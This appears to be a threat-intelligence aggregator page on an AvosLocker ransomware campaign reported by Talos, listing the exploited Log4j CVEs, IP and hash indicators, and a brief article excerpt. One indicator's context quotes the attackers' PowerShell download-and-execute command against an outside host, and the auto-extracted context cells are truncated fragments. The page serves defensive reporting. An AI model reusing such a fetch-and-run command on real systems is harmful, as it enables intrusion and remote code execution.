Ransomwarehigh
Avos ransomware group expands with new attack arsenal
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2021-44228 | JNDI Injection Remote Code Execution in Apache Log4j2 (Log4Shell) | 10.0 | 100% | KEVRansomwarePoC ×9 | KEV |
| CVE-2021-44832 | Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack when… | 6.6 | 98% | ||
| CVE-2021-45046 | Remote Code Execution in Apache Log4j2 via Incomplete Log4Shell Fix | 9.0 | 100% | KEVRansomwarePoC | KEV |
| CVE-2021-45105 | Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups | 5.9 | 100% |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 176.113.115.107 | 0db4819 URLs hxxp[://]45[.]136[.]230[.]191:4000/D234R23 IPs 176[.]113[.]115[.]107 45[.]136[.]230[.]191 |
| ipv4 | 45.136.230.191 | : iex (New-Object SystemNetWebClient)DownloadString('http://45[.]136[.]230[.]191:4000/D234R23'); Two days later on March 6, the attack |
| sha256 | 29a3ae1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60df9304 | 029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99 29a3ae1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60df9304 63bdd396ff6397b3a17913badb7905c88e217d0a8cf864ab5e71cc174a4 |
| sha256 | 48514e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2b | a2c2de40d6ed4791a3308897a01 Cobalt Strike artifacts smb.ps1 48514e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2b 61239d726c92c82f553200ecbec3ac18d251902fb9ca4d4f52263c82374 |
| sha256 | 61239d726c92c82f553200ecbec3ac18d251902fb9ca4d4f52263c82374a5b75 | e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2b 61239d726c92c82f553200ecbec3ac18d251902fb9ca4d4f52263c82374a5b75 beacon.ps1 e4af7f048e93b159e20cc3efbacdb68e3c1fb213324daf32 |
| sha256 | 63bdd396ff6397b3a17913badb7905c88e217d0a8cf864ab5e71cc174a4f97a1 | e1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60df9304 63bdd396ff6397b3a17913badb7905c88e217d0a8cf864ab5e71cc174a4f97a1 63ebb998ebbbfe3863214a85c388fc23b58af4492b2e96eb53c43636034 |
| sha256 | 63ebb998ebbbfe3863214a85c388fc23b58af4492b2e96eb53c436360344d79d | 396ff6397b3a17913badb7905c88e217d0a8cf864ab5e71cc174a4f97a1 63ebb998ebbbfe3863214a85c388fc23b58af4492b2e96eb53c436360344d79d 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0 |
| sha256 | 7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2 | 3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b Sliver 7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2 MimikatZ cac73029ad6a543b423822923967f4c240d02516fab34185c5 |
| sha256 | 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 | 998ebbbfe3863214a85c388fc23b58af4492b2e96eb53c436360344d79d 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 f2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a33088 |
| sha256 | 978dffa295ac822064ff6f7a6b6bc498e854f833d36633214d35ccce70db4819 | 43c54a83680c21d7cd49ca0f IIS Temporary Compressed Files.zip 978dffa295ac822064ff6f7a6b6bc498e854f833d36633214d35ccce70db4819 URLs hxxp[://]45[.]136[.]230[.]191:4000/D234R23 IPs 176[.]1 |
| sha256 | cac73029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99 | 295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2 MimikatZ cac73029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99 29a3ae1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60d |
| sha256 | cee38fd125aa3707dc77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b | 3ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f cee38fd125aa3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b Sliver 7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb |
| sha256 | e4af7f048e93b159e20cc3efbacdb68e3c1fb213324daf325268ccb71f6c3189 | 553200ecbec3ac18d251902fb9ca4d4f52263c82374a5b75 beacon.ps1 e4af7f048e93b159e20cc3efbacdb68e3c1fb213324daf325268ccb71f6c3189 e68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21d7cd4 |
| sha256 | e68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21d7cd49ca0f | f048e93b159e20cc3efbacdb68e3c1fb213324daf325268ccb71f6c3189 e68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21d7cd49ca0f IIS Temporary Compressed Files.zip 978dffa295ac822064ff6f7a |
| sha256 | f2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a3308897a01 | 8ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 f2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a3308897a01 Cobalt Strike artifacts smb.ps1 48514e6bb92dd9e24a16a4ab1c7 |
| sha256 | ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f | eries on this threat, click here and here . IoCs AvosLocker ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f cee38fd125aa3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf12 |
From the original article
6 min read at blog.talosintelligence.com
In a recent customer engagement, we observed a month-long AvosLocker campaign. The attackers utilized several different tools, including Cobalt Strike , Sliver and multiple commercial network scanners. The initial ingress point in this incident was a pair of VMWare Horizon Unified Access Gateways that were vulnerable to Log4Shell .
blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.